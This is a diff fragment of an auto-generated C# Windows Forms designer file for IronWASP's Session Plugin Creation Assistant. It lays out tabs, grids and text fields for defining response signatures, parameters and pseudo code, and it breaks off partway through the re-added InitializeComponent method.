new System.Windows.Forms.Padding(0); - this.ParametersAnswerGrid.MultiSelect = false; - this.ParametersAnswerGrid.Name = "ParametersAnswerGrid"; - this.ParametersAnswerGrid.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; - this.ParametersAnswerGrid.RowHeadersVisible = false; - this.ParametersAnswerGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ParametersAnswerGrid.Size = new System.Drawing.Size(674, 84); - this.ParametersAnswerGrid.TabIndex = 0; - this.ParametersAnswerGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ParametersAnswerGrid_CellClick); - this.ParametersAnswerGrid.SelectionChanged += new System.EventHandler(this.ParametersAnswerGrid_SelectionChanged); - // - // ParameterSectionColumn - // - this.ParameterSectionColumn.HeaderText = "Parameter Section"; - this.ParameterSectionColumn.Name = "ParameterSectionColumn"; - this.ParameterSectionColumn.ReadOnly = true; - this.ParameterSectionColumn.Width = 120; - // - // ParameterNameColumn - // - this.ParameterNameColumn.HeaderText = "Parameter Name"; - this.ParameterNameColumn.Name = "ParameterNameColumn"; - this.ParameterNameColumn.ReadOnly = true; - this.ParameterNameColumn.Width = 120; - // - // UpdateFromColumn - // - this.UpdateFromColumn.HeaderText = "Update From"; - this.UpdateFromColumn.Name = "UpdateFromColumn"; - this.UpdateFromColumn.ReadOnly = true; - // - // ParseResponseColumn - // - this.ParseResponseColumn.HeaderText = "Response Read Mode"; - this.ParseResponseColumn.Name = "ParseResponseColumn"; - this.ParseResponseColumn.ReadOnly = true; - this.ParseResponseColumn.Width = 140; - // - // RegexColumn - // - this.RegexColumn.HeaderText = "Regex"; - this.RegexColumn.Name = "RegexColumn"; - this.RegexColumn.ReadOnly = true; - // - // HintColumn - // - this.HintColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.HintColumn.HeaderText = "Hint"; - this.HintColumn.Name = "HintColumn"; - this.HintColumn.ReadOnly = true; - // - // ResponseSignatureTab - // - this.ResponseSignatureTab.Controls.Add(this.SignatureSubmitBtn); - this.ResponseSignatureTab.Controls.Add(this.LocationSignatureKeywordTB); - this.ResponseSignatureTab.Controls.Add(this.LocationSignatureTypeSelectCombo); - this.ResponseSignatureTab.Controls.Add(this.label6); - this.ResponseSignatureTab.Controls.Add(this.FullResponseSignatureSecondPanel); - this.ResponseSignatureTab.Controls.Add(this.UseLocationSignatureCB); - this.ResponseSignatureTab.Controls.Add(this.FullResponseSignatureFirstPanel); - this.ResponseSignatureTab.Controls.Add(this.SignatureAnswerMsgTB); - this.ResponseSignatureTab.Controls.Add(this.SignatureResponseCodeTB); - this.ResponseSignatureTab.Controls.Add(this.label5); - this.ResponseSignatureTab.Location = new System.Drawing.Point(4, 25); - this.ResponseSignatureTab.Name = "ResponseSignatureTab"; - this.ResponseSignatureTab.Padding = new System.Windows.Forms.Padding(3); - this.ResponseSignatureTab.Size = new System.Drawing.Size(776, 250); - this.ResponseSignatureTab.TabIndex = 1; - this.ResponseSignatureTab.Text = "Define Response Signature"; - this.ResponseSignatureTab.UseVisualStyleBackColor = true; - // - // SignatureSubmitBtn - // - this.SignatureSubmitBtn.Location = new System.Drawing.Point(653, 37); - this.SignatureSubmitBtn.Name = "SignatureSubmitBtn"; - this.SignatureSubmitBtn.Size = new System.Drawing.Size(115, 23); - this.SignatureSubmitBtn.TabIndex = 11; - this.SignatureSubmitBtn.Text = "Submit"; - this.SignatureSubmitBtn.UseVisualStyleBackColor = true; - this.SignatureSubmitBtn.Click += new System.EventHandler(this.SignatureSubmitBtn_Click); - // - // LocationSignatureKeywordTB - // - this.LocationSignatureKeywordTB.BackColor = System.Drawing.Color.White; - this.LocationSignatureKeywordTB.Location = new System.Drawing.Point(495, 91); - this.LocationSignatureKeywordTB.Name = "LocationSignatureKeywordTB"; - this.LocationSignatureKeywordTB.Size = new System.Drawing.Size(263, 20); - this.LocationSignatureKeywordTB.TabIndex = 10; - this.LocationSignatureKeywordTB.TextChanged += new System.EventHandler(this.LocationSignatureKeywordTB_TextChanged); - // - // LocationSignatureTypeSelectCombo - // - this.LocationSignatureTypeSelectCombo.FormattingEnabled = true; - this.LocationSignatureTypeSelectCombo.Items.AddRange(new object[] { - "starts with", - "ends with", - "contains", - "does not contain", - "matches regex"}); - this.LocationSignatureTypeSelectCombo.Location = new System.Drawing.Point(359, 91); - this.LocationSignatureTypeSelectCombo.Name = "LocationSignatureTypeSelectCombo"; - this.LocationSignatureTypeSelectCombo.Size = new System.Drawing.Size(121, 21); - this.LocationSignatureTypeSelectCombo.TabIndex = 9; - this.LocationSignatureTypeSelectCombo.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.LocationSignatureTypeSelectCombo_KeyPress); - // - // label6 - // - this.label6.AutoSize = true; - this.label6.Location = new System.Drawing.Point(267, 96); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(86, 13); - this.label6.TabIndex = 8; - this.label6.Text = "Location Header"; - // - // FullResponseSignatureSecondPanel - // - this.FullResponseSignatureSecondPanel.Controls.Add(this.BodySignatureKeywordTB); - this.FullResponseSignatureSecondPanel.Controls.Add(this.BodySignatureTypeSelectCombo); - this.FullResponseSignatureSecondPanel.Controls.Add(this.label8); - this.FullResponseSignatureSecondPanel.Controls.Add(this.TitleSignatureKeywordTB); - this.FullResponseSignatureSecondPanel.Controls.Add(this.TitleSignatureTypeSelectCombo); - this.FullResponseSignatureSecondPanel.Controls.Add(this.label7); - this.FullResponseSignatureSecondPanel.Controls.Add(this.UseTitleSignatureCB); - this.FullResponseSignatureSecondPanel.Controls.Add(this.UseBodySignatureCB); - this.FullResponseSignatureSecondPanel.Location = new System.Drawing.Point(8, 113); - this.FullResponseSignatureSecondPanel.Name = "FullResponseSignatureSecondPanel"; - this.FullResponseSignatureSecondPanel.Size = new System.Drawing.Size(760, 79); - this.FullResponseSignatureSecondPanel.TabIndex = 7; - // - // BodySignatureKeywordTB - // - this.BodySignatureKeywordTB.BackColor = System.Drawing.Color.White; - this.BodySignatureKeywordTB.Location = new System.Drawing.Point(437, 43); - this.BodySignatureKeywordTB.Name = "BodySignatureKeywordTB"; - this.BodySignatureKeywordTB.Size = new System.Drawing.Size(313, 20); - this.BodySignatureKeywordTB.TabIndex = 16; - this.BodySignatureKeywordTB.TextChanged += new System.EventHandler(this.BodySignatureKeywordTB_TextChanged); - // - // BodySignatureTypeSelectCombo - // - this.BodySignatureTypeSelectCombo.FormattingEnabled = true; - this.BodySignatureTypeSelectCombo.Items.AddRange(new object[] { - "starts with", - "ends with", - "contains", - "does not contain", - "matches regex"}); - this.BodySignatureTypeSelectCombo.Location = new System.Drawing.Point(301, 43); - this.BodySignatureTypeSelectCombo.Name = "BodySignatureTypeSelectCombo"; - this.BodySignatureTypeSelectCombo.Size = new System.Drawing.Size(121, 21); - this.BodySignatureTypeSelectCombo.TabIndex = 15; - this.BodySignatureTypeSelectCombo.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.BodySignatureTypeSelectCombo_KeyPress); - // - // label8 - // - this.label8.AutoSize = true; - this.label8.Location = new System.Drawing.Point(209, 48); - this.label8.Name = "label8"; - this.label8.Size = new System.Drawing.Size(82, 13); - this.label8.TabIndex = 14; - this.label8.Text = "Response Body"; - // - // TitleSignatureKeywordTB - // - this.TitleSignatureKeywordTB.BackColor = System.Drawing.Color.White; - this.TitleSignatureKeywordTB.Location = new System.Drawing.Point(438, 10); - this.TitleSignatureKeywordTB.Name = "TitleSignatureKeywordTB"; - this.TitleSignatureKeywordTB.Size = new System.Drawing.Size(313, 20); - this.TitleSignatureKeywordTB.TabIndex = 13; - this.TitleSignatureKeywordTB.TextChanged += new System.EventHandler(this.TitleSignatureKeywordTB_TextChanged); - // - // TitleSignatureTypeSelectCombo - // - this.TitleSignatureTypeSelectCombo.FormattingEnabled = true; - this.TitleSignatureTypeSelectCombo.Items.AddRange(new object[] { - "starts with", - "ends with", - "contains", - "does not contain", - "matches regex"}); - this.TitleSignatureTypeSelectCombo.Location = new System.Drawing.Point(298, 10); - this.TitleSignatureTypeSelectCombo.Name = "TitleSignatureTypeSelectCombo"; - this.TitleSignatureTypeSelectCombo.Size = new System.Drawing.Size(121, 21); - this.TitleSignatureTypeSelectCombo.TabIndex = 12; - this.TitleSignatureTypeSelectCombo.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.TitleSignatureTypeSelectCombo_KeyPress); - // - // label7 - // - this.label7.AutoSize = true; - this.label7.Location = new System.Drawing.Point(206, 15); - this.label7.Name = "label7"; - this.label7.Size = new System.Drawing.Size(78, 13); - this.label7.TabIndex = 11; - this.label7.Text = "Response Title"; - // - // UseTitleSignatureCB - // - this.UseTitleSignatureCB.AutoSize = true; - this.UseTitleSignatureCB.Location = new System.Drawing.Point(13, 14); - this.UseTitleSignatureCB.Name = "UseTitleSignatureCB"; - this.UseTitleSignatureCB.Size = new System.Drawing.Size(170, 17); - this.UseTitleSignatureCB.TabIndex = 5; - this.UseTitleSignatureCB.Text = "Use Response Title Signature:"; - this.UseTitleSignatureCB.UseVisualStyleBackColor = true; - this.UseTitleSignatureCB.CheckedChanged += new System.EventHandler(this.UseTitleSignatureCB_CheckedChanged); - // - // UseBodySignatureCB - // - this.UseBodySignatureCB.AutoSize = true; - this.UseBodySignatureCB.Location = new System.Drawing.Point(13, 47); - this.UseBodySignatureCB.Name = "UseBodySignatureCB"; - this.UseBodySignatureCB.Size = new System.Drawing.Size(174, 17); - this.UseBodySignatureCB.TabIndex = 6; - this.UseBodySignatureCB.Text = "Use Response Body Signature:"; - this.UseBodySignatureCB.UseVisualStyleBackColor = true; - this.UseBodySignatureCB.CheckedChanged += new System.EventHandler(this.UseBodySignatureCB_CheckedChanged); - // - // UseLocationSignatureCB - // - this.UseLocationSignatureCB.AutoSize = true; - this.UseLocationSignatureCB.Location = new System.Drawing.Point(22, 95); - this.UseLocationSignatureCB.Name = "UseLocationSignatureCB"; - this.UseLocationSignatureCB.Size = new System.Drawing.Size(221, 17); - this.UseLocationSignatureCB.TabIndex = 4; - this.UseLocationSignatureCB.Text = "Use Redirect Location Header Signature:"; - this.UseLocationSignatureCB.UseVisualStyleBackColor = true; - this.UseLocationSignatureCB.CheckedChanged += new System.EventHandler(this.UseLocationSignatureCB_CheckedChanged); - // - // FullResponseSignatureFirstPanel - // - this.FullResponseSignatureFirstPanel.Controls.Add(this.LoggedOutResponseSignatureRB); - this.FullResponseSignatureFirstPanel.Controls.Add(this.LoggedInResponseSignatureRB); - this.FullResponseSignatureFirstPanel.Location = new System.Drawing.Point(11, 32); - this.FullResponseSignatureFirstPanel.Name = "FullResponseSignatureFirstPanel"; - this.FullResponseSignatureFirstPanel.Size = new System.Drawing.Size(407, 26); - this.FullResponseSignatureFirstPanel.TabIndex = 3; - // - // LoggedOutResponseSignatureRB - // - this.LoggedOutResponseSignatureRB.AutoSize = true; - this.LoggedOutResponseSignatureRB.Location = new System.Drawing.Point(202, 6); - this.LoggedOutResponseSignatureRB.Name = "LoggedOutResponseSignatureRB"; - this.LoggedOutResponseSignatureRB.Size = new System.Drawing.Size(195, 17); - this.LoggedOutResponseSignatureRB.TabIndex = 5; - this.LoggedOutResponseSignatureRB.TabStop = true; - this.LoggedOutResponseSignatureRB.Text = "Signature for Logged Out Response"; - this.LoggedOutResponseSignatureRB.UseVisualStyleBackColor = true; - // - // LoggedInResponseSignatureRB - // - this.LoggedInResponseSignatureRB.AutoSize = true; - this.LoggedInResponseSignatureRB.Location = new System.Drawing.Point(9, 5); - this.LoggedInResponseSignatureRB.Name = "LoggedInResponseSignatureRB"; - this.LoggedInResponseSignatureRB.Size = new System.Drawing.Size(187, 17); - this.LoggedInResponseSignatureRB.TabIndex = 4; - this.LoggedInResponseSignatureRB.TabStop = true; - this.LoggedInResponseSignatureRB.Text = "Signature for Logged In Response"; - this.LoggedInResponseSignatureRB.UseVisualStyleBackColor = true; - // - // SignatureAnswerMsgTB - // - this.SignatureAnswerMsgTB.BackColor = System.Drawing.SystemColors.Control; - this.SignatureAnswerMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.SignatureAnswerMsgTB.ForeColor = System.Drawing.Color.Red; - this.SignatureAnswerMsgTB.Location = new System.Drawing.Point(3, 3); - this.SignatureAnswerMsgTB.Name = "SignatureAnswerMsgTB"; - this.SignatureAnswerMsgTB.ReadOnly = true; - this.SignatureAnswerMsgTB.Size = new System.Drawing.Size(770, 13); - this.SignatureAnswerMsgTB.TabIndex = 2; - // - // SignatureResponseCodeTB - // - this.SignatureResponseCodeTB.BackColor = System.Drawing.Color.White; - this.SignatureResponseCodeTB.Location = new System.Drawing.Point(145, 64); - this.SignatureResponseCodeTB.Name = "SignatureResponseCodeTB"; - this.SignatureResponseCodeTB.Size = new System.Drawing.Size(78, 20); - this.SignatureResponseCodeTB.TabIndex = 1; - this.SignatureResponseCodeTB.TextChanged += new System.EventHandler(this.SignatureResponseCodeTB_TextChanged); - // - // label5 - // - this.label5.AutoSize = true; - this.label5.Location = new System.Drawing.Point(14, 67); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(119, 13); - this.label5.TabIndex = 0; - this.label5.Text = "Response Status Code:"; - // - // SelectOptionTab - // - this.SelectOptionTab.Controls.Add(this.SelectOptionAnswerMsgTB); - this.SelectOptionTab.Controls.Add(this.SpecialOptionBtn); - this.SelectOptionTab.Controls.Add(this.SelectedOptionSubmitBtn); - this.SelectOptionTab.Controls.Add(this.OptionsGrid); - this.SelectOptionTab.Location = new System.Drawing.Point(4, 25); - this.SelectOptionTab.Name = "SelectOptionTab"; - this.SelectOptionTab.Size = new System.Drawing.Size(776, 250); - this.SelectOptionTab.TabIndex = 4; - this.SelectOptionTab.Text = "Select an Option"; - this.SelectOptionTab.UseVisualStyleBackColor = true; - // - // SelectOptionAnswerMsgTB - // - this.SelectOptionAnswerMsgTB.BackColor = System.Drawing.SystemColors.Control; - this.SelectOptionAnswerMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.SelectOptionAnswerMsgTB.ForeColor = System.Drawing.Color.Red; - this.SelectOptionAnswerMsgTB.Location = new System.Drawing.Point(3, 3); - this.SelectOptionAnswerMsgTB.Name = "SelectOptionAnswerMsgTB"; - this.SelectOptionAnswerMsgTB.ReadOnly = true; - this.SelectOptionAnswerMsgTB.Size = new System.Drawing.Size(770, 13); - this.SelectOptionAnswerMsgTB.TabIndex = 3; - // - // SpecialOptionBtn - // - this.SpecialOptionBtn.Location = new System.Drawing.Point(438, 30); - this.SpecialOptionBtn.Name = "SpecialOptionBtn"; - this.SpecialOptionBtn.Size = new System.Drawing.Size(330, 71); - this.SpecialOptionBtn.TabIndex = 2; - this.SpecialOptionBtn.Text = "Special Option"; - this.SpecialOptionBtn.UseVisualStyleBackColor = true; - this.SpecialOptionBtn.Click += new System.EventHandler(this.SpecialOptionBtn_Click); - // - // SelectedOptionSubmitBtn - // - this.SelectedOptionSubmitBtn.Location = new System.Drawing.Point(438, 215); - this.SelectedOptionSubmitBtn.Name = "SelectedOptionSubmitBtn"; - this.SelectedOptionSubmitBtn.Size = new System.Drawing.Size(327, 27); - this.SelectedOptionSubmitBtn.TabIndex = 1; - this.SelectedOptionSubmitBtn.Text = "Submit Selected Option"; - this.SelectedOptionSubmitBtn.UseVisualStyleBackColor = true; - this.SelectedOptionSubmitBtn.Click += new System.EventHandler(this.SelectedOptionSubmitBtn_Click); - // - // OptionsGrid - // - this.OptionsGrid.AllowUserToAddRows = false; - this.OptionsGrid.AllowUserToDeleteRows = false; - this.OptionsGrid.AllowUserToResizeRows = false; - this.OptionsGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.OptionsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; - this.OptionsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.OptionsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.SelectClmn, - this.OptionNameClmn}); - this.OptionsGrid.GridColor = System.Drawing.Color.White; - this.OptionsGrid.Location = new System.Drawing.Point(22, 30); - this.OptionsGrid.MultiSelect = false; - this.OptionsGrid.Name = "OptionsGrid"; - this.OptionsGrid.ReadOnly = true; - this.OptionsGrid.RowHeadersVisible = false; - this.OptionsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.OptionsGrid.Size = new System.Drawing.Size(410, 212); - this.OptionsGrid.TabIndex = 0; - this.OptionsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.OptionsGrid_CellClick); - // - // SelectClmn - // - this.SelectClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.SelectClmn.HeaderText = "SELECT"; - this.SelectClmn.Name = "SelectClmn"; - this.SelectClmn.ReadOnly = true; - this.SelectClmn.Width = 60; - // - // OptionNameClmn - // - this.OptionNameClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.OptionNameClmn.HeaderText = "OPTION"; - this.OptionNameClmn.Name = "OptionNameClmn"; - this.OptionNameClmn.ReadOnly = true; - this.OptionNameClmn.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.OptionNameClmn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ShowPseudoCodeTab - // - this.ShowPseudoCodeTab.Controls.Add(this.ShowPseudoCodeGoToMainMenuBtn); - this.ShowPseudoCodeTab.Controls.Add(this.label12); - this.ShowPseudoCodeTab.Controls.Add(this.ShowPseudoCodeTB); - this.ShowPseudoCodeTab.Location = new System.Drawing.Point(4, 25); - this.ShowPseudoCodeTab.Name = "ShowPseudoCodeTab"; - this.ShowPseudoCodeTab.Size = new System.Drawing.Size(776, 250); - this.ShowPseudoCodeTab.TabIndex = 5; - this.ShowPseudoCodeTab.Text = "Show Pseudo Code"; - this.ShowPseudoCodeTab.UseVisualStyleBackColor = true; - // - // ShowPseudoCodeGoToMainMenuBtn - // - this.ShowPseudoCodeGoToMainMenuBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.ShowPseudoCodeGoToMainMenuBtn.Location = new System.Drawing.Point(619, 47); - this.ShowPseudoCodeGoToMainMenuBtn.Name = "ShowPseudoCodeGoToMainMenuBtn"; - this.ShowPseudoCodeGoToMainMenuBtn.Size = new System.Drawing.Size(151, 59); - this.ShowPseudoCodeGoToMainMenuBtn.TabIndex = 7; - this.ShowPseudoCodeGoToMainMenuBtn.Text = "Go back to Main Menu"; - this.ShowPseudoCodeGoToMainMenuBtn.UseVisualStyleBackColor = true; - this.ShowPseudoCodeGoToMainMenuBtn.Click += new System.EventHandler(this.ShowPseudoCodeGoToMainMenuBtn_Click); - // - // label12 - // - this.label12.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.label12.AutoSize = true; - this.label12.Location = new System.Drawing.Point(8, 31); - this.label12.Name = "label12"; - this.label12.Size = new System.Drawing.Size(74, 13); - this.label12.TabIndex = 6; - this.label12.Text = "Pseudo Code:"; - // - // ShowPseudoCodeTB - // - this.ShowPseudoCodeTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ShowPseudoCodeTB.Location = new System.Drawing.Point(11, 47); - this.ShowPseudoCodeTB.Multiline = true; - this.ShowPseudoCodeTB.Name = "ShowPseudoCodeTB"; - this.ShowPseudoCodeTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.ShowPseudoCodeTB.Size = new System.Drawing.Size(602, 195); - this.ShowPseudoCodeTB.TabIndex = 5; - // - // SessionPluginCreationAssistant - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.BackColor = System.Drawing.SystemColors.Control; - this.ClientSize = new System.Drawing.Size(784, 562); - this.Controls.Add(this.BaseSplit); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.Name = "SessionPluginCreationAssistant"; - this.Text = "Session Plugin Creation Assistant"; - this.Load += new System.EventHandler(this.ScanCustomizationAssistant_Load); - this.BaseSplit.Panel1.ResumeLayout(false); - this.BaseSplit.Panel2.ResumeLayout(false); - this.BaseSplit.ResumeLayout(false); - this.AnswerTabs.ResumeLayout(false); - this.TextAnswerTab.ResumeLayout(false); - this.TextAnswerTab.PerformLayout(); - this.RequestSourceAnswerTab.ResumeLayout(false); - this.RequestSourceAnswerTab.PerformLayout(); - this.ParameterAnswerTab.ResumeLayout(false); - this.ParameterAnswerTab.PerformLayout(); - this.UserHintPanel.ResumeLayout(false); - this.UserHintPanel.PerformLayout(); - this.HowToParseResponsePanel.ResumeLayout(false); - this.HowToParseResponsePanel.PerformLayout(); - this.HowToUpdateParameterPanel.ResumeLayout(false); - this.HowToUpdateParameterPanel.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ParametersAnswerGrid)).EndInit(); - this.ResponseSignatureTab.ResumeLayout(false); - this.ResponseSignatureTab.PerformLayout(); - this.FullResponseSignatureSecondPanel.ResumeLayout(false); - this.FullResponseSignatureSecondPanel.PerformLayout(); - this.FullResponseSignatureFirstPanel.ResumeLayout(false); - this.FullResponseSignatureFirstPanel.PerformLayout(); - this.SelectOptionTab.ResumeLayout(false); - this.SelectOptionTab.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.OptionsGrid)).EndInit(); - this.ShowPseudoCodeTab.ResumeLayout(false); - this.ShowPseudoCodeTab.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TextBox AnswerTB; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TextBox BigAnswerTB; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.Button SubmitAnswerBtn; - private System.Windows.Forms.RichTextBox QuestionRTB; - private System.Windows.Forms.TextBox StatusTB; - private System.Windows.Forms.SplitContainer BaseSplit; - private System.Windows.Forms.TabControl AnswerTabs; - private System.Windows.Forms.TabPage TextAnswerTab; - private System.Windows.Forms.TabPage ResponseSignatureTab; - private System.Windows.Forms.TabPage RequestSourceAnswerTab; - private System.Windows.Forms.TabPage ParameterAnswerTab; - private System.Windows.Forms.Label label4; - private System.Windows.Forms.TextBox RequestSourceIdTB; - private System.Windows.Forms.Button RequestSourceAnswerSubmitBtn; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.ComboBox RequestSourceCombo; - private System.Windows.Forms.DataGridView ParametersAnswerGrid; - private System.Windows.Forms.Button SubmitParameterAnswerBtn; - private System.Windows.Forms.TextBox ParameterAskUserHintTB; - private System.Windows.Forms.Label ParameterFourLbl; - private System.Windows.Forms.TextBox ParameterParseRegexTB; - private System.Windows.Forms.RadioButton ParseParameterFromRegexRB; - private System.Windows.Forms.RadioButton ParseParameterFromHtmlRB; - private System.Windows.Forms.Label ParameterThreeLbl; - private System.Windows.Forms.RadioButton ParameterSourceFromUserRB; - private System.Windows.Forms.RadioButton ParameterSourceFromResponseRB; - private System.Windows.Forms.Label ParameterTwoLbl; - private System.Windows.Forms.Label ParameterOneLbl; - private System.Windows.Forms.TextBox ParameterNameTB; - private System.Windows.Forms.Label ParameterNameTBLbl; - private System.Windows.Forms.ComboBox ParameterTypeCombo; - private System.Windows.Forms.Label ParameterTypeComboLbl; - private System.Windows.Forms.TextBox ParametersAnswerMsgTB; - private System.Windows.Forms.LinkLabel ParametersDescLL; - private System.Windows.Forms.Panel HowToUpdateParameterPanel; - private System.Windows.Forms.TextBox SignatureAnswerMsgTB; - private System.Windows.Forms.TextBox SignatureResponseCodeTB; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.Panel FullResponseSignatureFirstPanel; - private System.Windows.Forms.RadioButton LoggedInResponseSignatureRB; - private System.Windows.Forms.RadioButton LoggedOutResponseSignatureRB; - private System.Windows.Forms.CheckBox UseBodySignatureCB; - private System.Windows.Forms.CheckBox UseTitleSignatureCB; - private System.Windows.Forms.CheckBox UseLocationSignatureCB; - private System.Windows.Forms.Panel FullResponseSignatureSecondPanel; - private System.Windows.Forms.ComboBox LocationSignatureTypeSelectCombo; - private System.Windows.Forms.Label label6; - private System.Windows.Forms.TextBox LocationSignatureKeywordTB; - private System.Windows.Forms.TextBox BodySignatureKeywordTB; - private System.Windows.Forms.ComboBox BodySignatureTypeSelectCombo; - private System.Windows.Forms.Label label8; - private System.Windows.Forms.TextBox TitleSignatureKeywordTB; - private System.Windows.Forms.ComboBox TitleSignatureTypeSelectCombo; - private System.Windows.Forms.Label label7; - private System.Windows.Forms.Button SignatureSubmitBtn; - private System.Windows.Forms.TextBox RequestSourceAnswerMsgTB; - private System.Windows.Forms.Panel UserHintPanel; - private System.Windows.Forms.Panel HowToParseResponsePanel; - private System.Windows.Forms.LinkLabel AddParameterAnswerEntryLL; - private System.Windows.Forms.LinkLabel EditParameterAnswerEntryLL; - private System.Windows.Forms.LinkLabel DeleteParameterAnswerEntryLL; - private System.Windows.Forms.DataGridViewTextBoxColumn ParameterSectionColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ParameterNameColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn UpdateFromColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ParseResponseColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn RegexColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn HintColumn; - private System.Windows.Forms.TabPage SelectOptionTab; - private System.Windows.Forms.Button SpecialOptionBtn; - private System.Windows.Forms.Button SelectedOptionSubmitBtn; - private System.Windows.Forms.DataGridView OptionsGrid; - private System.Windows.Forms.TextBox SelectOptionAnswerMsgTB; - private System.Windows.Forms.DataGridViewCheckBoxColumn SelectClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn OptionNameClmn; - private System.Windows.Forms.Label label10; - private System.Windows.Forms.Label label9; - private System.Windows.Forms.TextBox RequestSourceNameTB; - private System.Windows.Forms.Label label11; - private System.Windows.Forms.TabPage ShowPseudoCodeTab; - private System.Windows.Forms.Button ShowPseudoCodeGoToMainMenuBtn; - private System.Windows.Forms.Label label12; - private System.Windows.Forms.TextBox ShowPseudoCodeTB; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class SessionPluginCreationAssistant + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(SessionPluginCreationAssistant)); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + this.AnswerTB = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.BigAnswerTB = new System.Windows.Forms.TextBox(); + this.label2 = new System.Windows.Forms.Label(); + this.SubmitAnswerBtn = new System.Windows.Forms.Button(); + this.QuestionRTB = new System.Windows.Forms.RichTextBox(); + this.StatusTB = new System.Windows.Forms.TextBox(); + this.BaseSplit = new System.Windows.Forms.SplitContainer(); + this.AnswerTabs = new System.Windows.Forms.TabControl(); + this.TextAnswerTab = new System.Windows.Forms.TabPage(); + this.RequestSourceAnswerTab = new System.Windows.Forms.TabPage(); + this.label11 = new System.Windows.Forms.Label(); + this.label10 = new System.Windows.Forms.Label(); + this.label9 = new System.Windows.Forms.Label(); + this.RequestSourceNameTB = new System.Windows.Forms.TextBox(); + this.RequestSourceAnswerMsgTB = new System.Windows.Forms.TextBox(); + this.label4 = new System.Windows.Forms.Label(); + this.RequestSourceIdTB = new System.Windows.Forms.TextBox(); + this.RequestSourceAnswerSubmitBtn = new System.Windows.Forms.Button(); + this.label3 = new System.Windows.Forms.Label(); + this.RequestSourceCombo = new System.Windows.Forms.ComboBox(); + this.ParameterAnswerTab = new System.Windows.Forms.TabPage(); + 